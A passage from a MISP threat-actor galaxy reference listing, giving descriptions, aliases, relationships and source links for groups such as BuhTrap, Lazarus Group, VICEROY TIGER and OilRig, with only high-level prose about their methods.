https://threatpost.com/researchers-uncover-teamspy-attack-campaign-targeting-government-research-targets-032013/77646/
https://www.crysys.hu/publications/files/teamspy.pdf
https://d2538mqrb7brka.cloudfront.net/wp-content/uploads/sites/43/2018/03/20134928/theteamspystory_final_t2.pdf
https://www.secureworks.com/research/resurgent-iron-liberty-targeting-energy-sector

BuhTrap

Buhtrap has been active since 2014, however their first attacks against financial institutions were only detected in August 2015. Earlier, the group had only focused on targeting banking clients. At the moment, the group is known to target Russian and Ukrainian banks. From August 2015 to February 2016 Buhtrap managed to conduct 13 successful attacks against Russian banks for a total amount of 1.8 billion rubles ($25.7 mln). The number of successful attacks against Ukrainian banks has not been identified. Buhtrap is the first hacker group using a network worm to infect the overall bank infrastructure that significantly increases the difficulty of removing all malicious functions from the network. As a result, banks have to shut down the whole infrastructure which provokes delay in servicing customers and additional losses. Malicious programs intentionally scan for machines with an automated Bank-Customer system of the Central Bank of Russia (further referred to as BCS CBR). We have not identified incidents of attacks involving online money transfer systems, ATM machines or payment gates which are known to be of interest for other criminal groups.

The tag is: *misp-galaxy:threat-actor="BuhTrap"*

Table 6796. Table References

Links
https://www.welivesecurity.com/2015/11/11/operation-buhtrap-malware-distributed-via-ammyy-com/
https://www.group-ib.com/brochures/gib-buhtrap-report.pdf
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=8e498912-44f8-4ea0-ac50-4544f0fedd6c&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.forcepoint.com/blog/security-labs/highly-evasive-code-injection-awaits-user-interaction-delivering-malware
https://www.kaspersky.com/blog/financial-trojans-2019/25690/
https://www.welivesecurity.com/2015/04/09/operation-buhtrap/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

WOLF SPIDER

FIN4 is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013. FIN4 is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.

The tag is: *misp-galaxy:threat-actor="WOLF SPIDER"*

WOLF SPIDER is also known as:

- FIN4
- G0085

Table 6797. Table References

Links
https://www.reuters.com/article/2015/06/23/us-hackers-insidertrading-idUSKBN0P31M720150623
https://www.fireeye.com/blog/threat-research/2014/11/fin4_stealing_insid.html
https://www2.fireeye.com/rs/fireye/images/rpt-fin4.pdf
https://pwc.blogs.com/cyber_security_updates/2015/06/unfin4ished-business.html
https://attack.mitre.org/groups/G0085/

Boulder Bear

First observed activity in December 2013.

The tag is: *misp-galaxy:threat-actor="Boulder Bear"*

SHARK SPIDER

This group's activity was first observed in November 2013. It leverages a banking Trojan more commonly known as Shylock which aims to compromise online banking credentials and credentials related to Bitcoin wallets.

The tag is: *misp-galaxy:threat-actor="SHARK SPIDER"*

UNION SPIDER

Adversary targeting manufacturing and industrial organizations.

The tag is: *misp-galaxy:threat-actor="UNION SPIDER"*

Table 6798. Table References

Links
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf

Silent Chollima

The tag is: *misp-galaxy:threat-actor="Silent Chollima"*

Silent Chollima is also known as:

- OperationTroy
- Guardian of Peace
- GOP
- WHOis Team
- Andariel
- Subgroup: Andariel

Table 6799. Table References

Links
https://docs.huihoo.com/rsaconference/usa-2014/anf-t07b-the-art-of-attribution-identifying-and-pursuing-your-cyber-adversaries-final.pdf

Lazarus Group

Since 2009, HIDDEN COBRA actors have leveraged their capabilities to target and compromise a range of victims; some intrusions have resulted in the exfiltration of data while others have been disruptive in nature. Commercial reporting has referred to this activity as Lazarus Group and Guardians of Peace. Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets, keyloggers, remote access tools (RATs), and wiper malware. Variants of malware and tools used by HIDDEN COBRA actors include Destover, Duuzer, and Hangman.

The tag is: *misp-galaxy:threat-actor="Lazarus Group"*

Lazarus Group is also known as:

- Operation DarkSeoul
- Dark Seoul
- Hidden Cobra
- Hastati Group
- Andariel
- Unit 121
- Bureau 121
- NewRomanic Cyber Army Team
- Bluenoroff
- Subgroup: Bluenoroff
- Group 77

- Labyrinth Chollima
- Operation Troy
- Operation GhostSecret
- Operation AppleJeus
- APT38
- APT 38
- Stardust Chollima
- Whois Hacking Team
- Zinc
- Appleworm
- Nickel Academy
- APT-C-26
- NICKEL GLADSTONE
- COVELLITE
- ATK3
- G0032
- ATK117
- G0082

View relationships graph

Lazarus Group has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Lazarus Group - G0032" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Operation Sharpshooter" with estimative-language:likelihood-probability="likely"
- linked-to: misp-galaxy:threat-actor="APT37" with estimative-language:likelihood-probability="likely"

Table 6800. Table References

Links
https://threatpost.com/operation-blockbuster-coalition-ties-destructive-attacks-to-lazarus-group/116422/
https://www.us-cert.gov/ncas/alerts/TA17-164A
https://www.us-cert.gov/ncas/alerts/TA17-318A
https://www.us-cert.gov/ncas/alerts/TA17-318B
https://securelist.com/operation-applejeus/87553/

https://securelist.com/lazarus-under-the-hood/77908/
https://www.us-cert.gov/HIDDEN-COBRA-North-Korean-Malicious-Cyber-Activity
https://www.mcafee.com/enterprise/en-us/assets/white-papers/wp-dissecting-operation-troy.pdf
https://www.bleepingcomputer.com/news/security/north-korean-hackers-are-up-to-no-good-again/
https://www.cfr.org/interactive/cyber-operations/lazarus-group
https://www.cfr.org/interactive/cyber-operations/operation-ghostsecret
https://www.cfr.org/interactive/cyber-operations/compromise-cryptocurrency-exchanges-south-korea
https://www.bleepingcomputer.com/news/security/lazarus-group-deploys-its-first-mac-malware-in-cryptocurrency-exchange-hack/
https://content.fireeye.com/apt/rpt-apt38
https://blog.malwarebytes.com/threat-analysis/2019/03/the-advanced-persistent-threat-files-lazarus-group/
https://www.theguardian.com/world/2009/jul/08/south-korea-cyber-attack
https://web.archive.org/web/20131123012339/https://www.symantec.com/connect/blogs/trojankoredos-comes-unwelcomed-surprise
https://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html
https://web.archive.org/web/20130607233212/https://www.symantec.com/connect/blogs/south-korean-financial-companies-targeted-castov
https://web.archive.org/web/20130701021735/https://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/the-hack-of-sony-pictures-what-you-need-to-know
https://blog.trendmicro.com/trendlabs-security-intelligence/new-killdisk-variant-hits-financial-organizations-in-latin-america/
https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/
https://www.us-cert.gov/ncas/analysis-reports/AR19-129A
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/
https://securelist.com/cryptocurrency-businesses-still-being-targeted-by-lazarus/90019/
https://www.theregister.co.uk/2019/04/10/lazarus_group_malware/
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf

https://www.justice.gov/opa/pr/north-korean-regime-backed-programmer-charged-conspiracy-conduct-multiple-cyber-attacks-and
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/a-look-into-the-lazarus-groups-operations
https://www.kaspersky.com/about/press-releases/2017_chasing-lazarus-a-hunt-for-the-infamous-hackers-to-prevent-large-bank-robberies
https://medium.com/threat-intel/lazarus-attacks-wannacry-5fdeddee476c
https://attack.mitre.org/groups/G0032/
https://threatpost.com/lazarus-apt-spinoff-linked-to-banking-hacks/124746/
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=5b9850b9-0fdd-48a9-b595-9234207ae7df&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.bankinfosecurity.com/vietnamese-bank-blocks-1-million-online-heist-a-9105
https://www.reuters.com/article/us-cyber-heist-swift-specialreport-idUSKCN0YB0DD
https://web.archive.org/web/20160527050022/https://www.symantec.com/connect/blogs/swift-attackers-malware-linked-more-financial-attacks
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware
https://blog.trendmicro.com/trendlabs-security-intelligence/what-we-can-learn-from-the-bangladesh-central-bank-cyber-heist/
https://www.symantec.com/connect/blogs/attackers-target-dozens-global-banks-new-malware
https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html
https://www.bloomberg.com/news/articles/2018-05-29/mexico-foiled-a-110-million-bank-heist-then-kept-it-a-secret
https://threatpost.com/banco-de-chile-wiper-attack-just-a-cover-for-10m-swift-heist/132796/
https://www.darkreading.com/attacks-breaches/north-korean-hacking-group-steals-$135-million-from-indian-bank-/d/d-id/1332678
https://www.zdnet.com/article/north-korean-hackers-infiltrate-chiles-atm-network-after-skype-job-interview/
https://blogs.jpcert.or.jp/en/2020/08/Lazarus-malware.html
https://www.secureworks.com/research/threat-profiles/nickel-gladstone
https://blogs.jpcert.or.jp/en/2020/09/BLINDINGCAN.html
https://www.welivesecurity.com/2020/11/16/lazarus-supply-chain-attack-south-korea/
https://dragos.com/adversaries.html
https://dragos.com/media/2017-Review-Industrial-Control-System-Threats.pdf
https://www.cfr.org/interactive/cyber-operations/covellite
https://www.hvs-consulting.de/lazarus-report/
https://github.com/hvs-consulting/ioc_signatures/tree/main/Lazarus_APT37

https://blogs.jpcert.or.jp/en/2021/01/Lazarus_tools.html
https://blogs.jpcert.or.jp/en/2021/01/Lazarus_malware2.html
https://attack.mitre.org/groups/G0082
https://attack.mitre.org/groups/G0032

VICEROY TIGER

VICEROY TIGER is an adversary with a nexus to India that has historically targeted entities throughout multiple sectors. Older activity targeted multiple sectors and countries; however, since 2015 this adversary appears to focus on entities in Pakistan with a particular focus on government and security organizations. This adversary consistently leverages spear phishing emails containing malicious Microsoft Office documents, malware designed to target the Android mobile platform, and phishing activity designed to harvest user credentials. In March 2017, the 360 Chasing Team found a sample of targeted attacks that confirmed the previously unknown sample of APT's attack actions, which the organization can now trace back at least in April 2016. The chasing team named the attack organization APT-C-35. In June 2017, the 360 Threat Intelligence Center discovered the organization's new attack activity, confirmed and exposed the gang's targeted attacks against Pakistan, and analyzed in detail. The unique EHDevel malicious code framework used by the organization.

The tag is: *misp-galaxy:threat-actor="VICEROY TIGER"*

VICEROY TIGER is also known as:

- OPERATION HANGOVER
- Donot Team
- APT-C-35
- SectorE02
- Orange Kala

Table 6801. Table References

Links
https://kung_foo.keybase.pub/papers_and_presentations/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf
https://ti.360.net/blog/articles/latest-activity-of-apt-c-35/
https://www.netscout.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia
https://ti.360.net/blog/articles/donot-group-is-targeting-pakistani-businessman-working-in-china-en/
https://www.crowdstrike.com/blog/viceroy-tiger-delivers-new-zero-day-exploit/index.html
https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/

https://unit42.paloaltonetworks.com/threat-assessment-hangover-threat-group/
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://blog.cyble.com/2021/07/22/donot-apt-group-delivers-a-spyware-variant-of-chat-app/
https://adversary.crowdstrike.com/en-US/adversary/viceroy-tiger
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf

PIZZO SPIDER

The tag is: *misp-galaxy:threat-actor="PIZZO SPIDER"*

PIZZO SPIDER is also known as:

- DD4BC
- Ambiorx

Table 6802. Table References

Links
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/

Corsair Jackal

The tag is: *misp-galaxy:threat-actor="Corsair Jackal"*

Corsair Jackal is also known as:

- TunisianCyberArmy

Table 6803. Table References

Links
https://web.archive.org/web/20160315044507/https://www.crowdstrike.com/blog/regional-conflict-and-cyber-blowback/

SNOWGLOBE

In 2014, researchers at Kaspersky Lab discovered and reported on three zero-days that were being used in cyberattacks in the wild. Two of these zero-day vulnerabilities are associated with an advanced threat actor we call Animal Farm. Over the past few years, Animal Farm has targeted a wide range of global organizations. The group has been active since at least 2009 and there are signs that earlier malware versions were developed as far back as 2007.

The tag is: *misp-galaxy:threat-actor="SNOWGLOBE"*

SNOWGLOBE is also known as:

- Animal Farm
- Snowglobe
- ATK8

Table 6804. Table References

Links
https://securelist.com/blog/research/69114/animals-in-the-apt-farm/
https://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france
https://web.archive.org/web/20150311013500/http://www.cyphort.com/evilbunny-malware-instrumented-lua/
https://web.archive.org/web/20150218192803/http://www.cyphort.com/babar-suspected-nation-state-spyware-spotlight/
https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope
https://www.cfr.org/interactive/cyber-operations/snowglobe
https://resources.infosecinstitute.com/animal-farm-apt-and-the-shadow-of-france-intelligence/

Deadeye Jackal

The Syrian Electronic Army (SEA) is a group of computer hackers which first surfaced online in 2011 to support the government of Syrian President Bashar al-Assad. Using spamming, website defacement, malware, phishing, and denial of service attacks, it has targeted political opposition groups, western news organizations, human rights groups and websites that are seemingly neutral to the Syrian conflict. It has also hacked government websites in the Middle East and Europe, as well as US defense contractors. As of 2011 the SEA has been **the first Arab country to have a public Internet Army hosted on its national networks to openly launch cyber attacks on its enemies**. The precise nature of SEA's relationship with the Syrian government has changed over time and is unclear

The tag is: *misp-galaxy:threat-actor="Deadeye Jackal"*

Deadeye Jackal is also known as:

- SyrianElectronicArmy
- SEA

Table 6805. Table References

Links
https://en.wikipedia.org/wiki/Syrian_Electronic_Army

Operation C-Major

Group targeting Indian Army or related assets in India, as well as activists and civil society in

Pakistan. Attribution to a Pakistani connection has been made by TrendMicro and others.

The tag is: *misp-galaxy:threat-actor="Operation C-Major"*

Operation C-Major is also known as:

- C-Major
- Transparent Tribe
- Mythic Leopard
- ProjectM
- APT36
- APT 36
- TMP.Lapis
- Green Havildar
- COPPER FIELDSTONE

Table 6806. Table References

Links
http://documents.trendmicro.com/assets/pdf/Indian-military-personnel-targeted-by-information-theft-campaign-cmajor.pdf
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
https://www.amnesty.org/en/documents/asa33/8366/2018/en/
https://www.crowdstrike.com/blog/adversary-of-the-month-for-may/
https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe
https://mkd-cirt.mk/wp-content/uploads/2018/08/20181009_3_1_M-Trends2018-May-2018-compressed.pdf
https://nciipc.gov.in/documents/NCIIPC_Newsletter_July18.pdf
https://cysinfo.com/cyber-attack-targeting-cbi-and-possibly-indian-army-officials
https://s.tencent.com/research/report/669.html
https://www.fireeye.com/blog/threat-research/2016/06/apt_group_sends_spea.html
https://www.secureworks.com/research/threat-profiles/copper-fieldstone

Stealth Falcon

This threat actor targets civil society groups and Emirati journalists, activists, and dissidents.

The tag is: *misp-galaxy:threat-actor="Stealth Falcon"*

Stealth Falcon is also known as:

- FruityArmor
- G0038

View relationships graph

Stealth Falcon has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Stealth Falcon - G0038" with estimative-language:likelihood-probability="likely"

Table 6807. Table References

Links
https://citizenlab.ca/2016/05/stealth-falcon/
https://www.cfr.org/interactive/cyber-operations/stealth-falcon
https://securelist.com/cve-2019-0797-zero-day-vulnerability/89885/
https://attack.mitre.org/groups/G0038/

HummingBad

This group created a malware that takes over Android devices and generates $300,000 per month in fraudulent ad revenue. The group effectively controls an arsenal of over 85 million mobile devices around the world. With the potential to sell access to these devices to the highest bidder

The tag is: *misp-galaxy:threat-actor="HummingBad"*

Table 6808. Table References

Links
http://blog.checkpoint.com/wp-content/uploads/2016/07/HummingBad-Research-report_FINAL-62916.pdf

QUILTED TIGER

Dropping Elephant (also known as “Chinastrats” and “Patchwork“) is a relatively new threat actor that is targeting a variety of high profile diplomatic and economic targets using a custom set of attack tools. Its victims are all involved with China’s foreign relations in some way, and are generally caught through spear-phishing or watering hole attacks.

The tag is: *misp-galaxy:threat-actor="QUILTED TIGER"*

QUILTED TIGER is also known as:

- Chinastrats
- Patchwork
- Monsoon
- Sarit

- Dropping Elephant
- APT-C-09
- ZINC EMERSON
- ATK11
- G0040
- Orange Athos
- Thirsty Gemini

View relationships graph

QUILTED TIGER has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Patchwork - G0040" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="MONSOON - G0042" with estimative-language:likelihood-probability="likely"

Table 6809. Table References

Links
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=09308982-77bd-41e0-8269-f2cc9ce3266e&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign
https://www.cymmetria.com/patchwork-targeted-attack/
https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/
https://attack.mitre.org/groups/G0040/
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
https://securelist.com/the-dropping-elephant-actor/75328/
https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf
https://www.secureworks.com/research/threat-profiles/zinc-emerson
https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf
https://ti.qianxin.com/blog/articles/analysis-of-the-attack-activities-of-patchwork-using-the-documents-of-relevant-government-agencies-in-pakistan-as-bait
https://unit42.paloaltonetworks.com/atoms/thirstygemini/

Scarlet Mimic

Scarlet Mimic is a threat group that has targeted minority rights activists. This group has not been directly linked to a government source, but the group's motivations appear to overlap with those of the Chinese government. While there is some overlap between IP addresses used by Scarlet Mimic and Putter Panda, APT 2, it has not been concluded that the groups are the same. The attacks began over four years ago and their targeting pattern suggests that this adversary's primary mission is to gather information about minority rights activists. We do not have evidence directly linking these attacks to a government source, but the information derived from these activities supports an assessment that a group or groups with motivations similar to the stated position of the Chinese government in relation to these targets is involved. The attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and Tibetan activists as well as those who are interested in their causes. Both the Tibetan community and the Uyghurs, a Turkic Muslim minority residing primarily in northwest China, have been targets of multiple sophisticated attacks in the past decade. Both also have history of strained relationships with the government of the People's Republic of China (PRC), though we do not have evidence that links Scarlet Mimic attacks to the PRC. Scarlet Mimic attacks have also been identified against government organizations in Russia and India, who are responsible for tracking activist and terrorist activities. While we do not know the precise target of each of the Scarlet Mimic attacks, many of them align to the patterns described above.

The tag is: *misp-galaxy:threat-actor="Scarlet Mimic"*

Scarlet Mimic is also known as:

- G0029
- Golfing Taurus

View relationships graph

Scarlet Mimic has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Scarlet Mimic - G0029" with estimative-language:likelihood-probability="likely"

Table 6810. Table References

Links
https://attack.mitre.org/wiki/Groups
https://unit42.paloaltonetworks.com/scarlet-mimic-years-long-espionage-targets-minority-activists/
https://attack.mitre.org/groups/G0029/
https://unit42.paloaltonetworks.com/atoms/golfing-taurus/

Poseidon Group

Poseidon Group is a Portuguese-speaking threat group that has been active since at least 2005. The group has a history of using information exfiltrated from victims to blackmail victim companies into contracting the Poseidon Group as a security firm.

The tag is: *misp-galaxy:threat-actor="Poseidon Group"*

Poseidon Group is also known as:

- G0033

View relationships graph

Poseidon Group has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Poseidon Group - G0033" with estimative-language:likelihood-probability="likely"

Table 6811. Table References

Links
https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/
https://attack.mitre.org/wiki/Groups
https://attack.mitre.org/groups/G0033/

DragonOK

Threat group that has targeted Japanese organizations with phishing emails. Due to overlapping TTPs, including similar custom tools, DragonOK is thought to have a direct or indirect relationship with the threat group Moafee. 2223 It is known to use a variety of malware, including Sysget/HelloBridge, PlugX, PoisonIvy, FormerFirstRat, NFlog, and NewCT.

The tag is: *misp-galaxy:threat-actor="DragonOK"*

DragonOK is also known as:

- Moafee
- BRONZE OVERBROOK
- G0017
- G0002
- Shallow Taurus

View relationships graph

DragonOK has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Moafee - G0002" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="DragonOK - G0017" with estimative-language:likelihood-probability="likely"

Table 6812. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-quantum-entanglement.pdf
https://attack.mitre.org/wiki/Groups
https://www.forcepoint.com/de/blog/x-labs/trojanized-adobe-installer-used-install-dragonok-s-new-custom-backdoor
https://github.com/m0n0ph1/APT_CyberCriminal_Campagin_Collections-1/blob/master/2017/2017.02.15.deep-dive-dragonok-rambo-backdoor/Deep%20Dive%20on%20the%20DragonOK%20Rambo%20Backdoor%20_%20Morphick%20Cyber%20Security.pdf
https://www.cfr.org/interactive/cyber-operations/moafee
https://unit42.paloaltonetworks.com/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/
https://unit42.paloaltonetworks.com/unit42-dragonok-updates-toolset-targets-multiple-geographic-regions/
https://www.phnompenhpost.com/national/kingdom-targeted-new-malware
https://attack.mitre.org/groups/G0017/
https://attack.mitre.org/groups/G0002/
https://www.secureworks.com/research/threat-profiles/bronze-overbrook
https://unit42.paloaltonetworks.com/atoms/shallowtaurus/

ProjectSauron

ProjectSauron is the name for a top level modular cyber-espionage platform, designed to enable and manage long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods. Technical details show how attackers learned from other extremely advanced actors in order to avoid repeating their mistakes. As such, all artifacts are customized per given target, reducing their value as indicators of compromise for any other victim. Usually APT campaigns have a geographical nexus, aimed at extracting information within a specific region or from a given industry. That usually results in several infections in countries within that region, or in the targeted industry around the world. Interestingly, ProjectSauron seems to be dedicated to just a couple of countries, focused on collecting high value intelligence by compromising almost all key entities it could possibly reach within the target area. The name, ProjectSauron reflects the fact that the code authors refer to 'Sauron' in the Lua scripts.

The tag is: *misp-galaxy:threat-actor="ProjectSauron"*

ProjectSauron is also known as:

- Strider
- Sauron
- Project Sauron

- G0041

View relationships graph

ProjectSauron has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Strider - G0041" with estimative-language:likelihood-probability="likely"

Table 6813. Table References

Links
https://securelist.com/analysis/publications/75533/faq-the-projectsauron-apt/
https://www.cfr.org/interactive/cyber-operations/project-sauron
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=ce2df4da-afe9-4a24-b28c-0fb3ba671d95&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07190154/The-ProjectSauron-APT_research_KL.pdf
https://attack.mitre.org/groups/G0041/

TA530

TA530, who we previously examined in relation to large-scale personalized phishing campaigns

The tag is: *misp-galaxy:threat-actor="TA530"*

Table 6814. Table References

Links
https://www.proofpoint.com/uk/threat-insight/post/august-in-december-new-information-stealer-hits-the-scene

GCMAN

GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.

The tag is: *misp-galaxy:threat-actor="GCMAN"*

GCMAN is also known as:

- G0036

View relationships graph

GCMAN has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="GCMAN - G0036" with estimative-language:likelihood-probability="likely"

Table 6815. Table References

Links
https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/
https://attack.mitre.org/groups/G0036/

APT22

Suckfly is a China-based threat group that has been active since at least 2014

The tag is: *misp-galaxy:threat-actor="APT22"*

APT22 is also known as:

- G0039
- Suckfly
- BRONZE OLIVE
- Group 46

View relationships graph

APT22 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Suckfly - G0039" with estimative-language:likelihood-probability="likely"

Table 6816. Table References

Links
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=62e325ae-f551-4855-b9cf-28a7d52d1534&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7a60af1f-7786-446c-976b-7c71a16e9d3b&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments
https://attack.mitre.org/groups/G0039/
https://exchange.xforce.ibmcloud.com/collection/Suckfly-APT-aa8af56fd12d25c98fc49ca5341160ab
http://www.slideshare.net/CTruncer/ever-present-persistence-established-footholds-seen-in-the-wild
https://www.secureworks.com/research/threat-profiles/bronze-olive
https://www.mandiant.com/resources/insights/apt-groups

FIN6

FIN is a group targeting financial assets including assets able to do financial transaction including PoS.

The tag is: *misp-galaxy:threat-actor="FIN6"*

FIN6 is also known as:

- SKELETON SPIDER
- ITG08
- MageCart Group 6
- White Giant
- GOLD FRANKLIN
- ATK88
- G0037

View relationships graph

FIN6 has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="FIN6 - G0037" with estimative-language:likelihood-probability="likely"

Table 6817. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf
https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
https://attack.mitre.org/groups/G0037/
https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/
http://www.secureworks.com/research/threat-profiles/gold-franklin

Libyan Scorpions

Libyan Scorpions is a malware operation in use since September 2015 and operated by a politically motivated group whose main objective is intelligence gathering, spying on influentials and political figures and operate an espionage campaign within Libya.

The tag is: *misp-galaxy:threat-actor="Libyan Scorpions"*

TeamXRat

The tag is: *misp-galaxy:threat-actor="TeamXRat"*

TeamXRat is also known as:

- CorporacaoXRat
- CorporationXRat

Table 6818. Table References

Links
https://securelist.com/blog/research/76153/teamxrat-brazilian-cybercrime-meets-ransomware/

OilRig

OilRig is an Iranian threat group operating primarily in the Middle East by targeting organizations in this region that are in a variety of different industries; however, this group has occasionally targeted organizations outside of the Middle East as well. It also appears OilRig carries out supply chain attacks, where the threat group leverages the trust relationship between organizations to attack their primary targets.

OilRig is an active and organized threat group, which is evident based on their systematic targeting of specific organizations that appear to be carefully chosen for strategic purposes. Attacks attributed to this group primarily rely on social engineering to exploit the human rather than software vulnerabilities; however, on occasion this group has used recently patched vulnerabilities in the delivery phase of their attacks. The lack of software vulnerability exploitation does not necessarily suggest a lack of sophistication, as OilRig has shown maturity in other aspects of their operations. Such maturities involve:

-Organized evasion testing used the during development of their tools. -Use of custom DNS Tunneling protocols for command and control (C2) and data exfiltration. -Custom web-shells and backdoors used to persistently access servers.

OilRig relies on stolen account credentials for lateral movement. After OilRig gains access to a system, they use credential dumping tools, such as Mimikatz, to steal credentials to accounts logged into the compromised system. The group uses these credentials to access and to move laterally to other systems on the network. After obtaining credentials from a system, operators in this group prefer to use tools other than their backdoors to access the compromised systems, such as remote desktop and putty. OilRig also uses phishing sites to harvest credentials to individuals at targeted organizations to gain access to internet accessible resources, such as Outlook Web Access.

Since at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government.

The tag is: *misp-galaxy:threat-actor="OilRig"*

OilRig is also known as:

- Twisted Kitten
- Cobalt Gypsy
- Crambus
- Helix Kitten
- APT 34
- APT34
- IRN2
- ATK40
- G0049
- Evasive Serpens

View relationships graph

OilRig has relationships with:

- similar: misp-galaxy:mitre-intrusion-set="Cleaver - G0003" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cutting Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Cleaver" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Clever Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="CHRYSENE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="OilRig - G0049" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="Magic Hound - G0059" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Flying Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Charming Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="Rocket Kitten" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-intrusion-set="APT34 - G0057" with estimative-language:likelihood-probability="likely"

Table 6819. Table References

Links

https://blog.morphisec.com/iranian-fileless-cyberattack-on-israel-word-vulnerability
https://unit42.paloaltonetworks.com/unit42-striking-oil-closer-look-adversary-infrastructure/
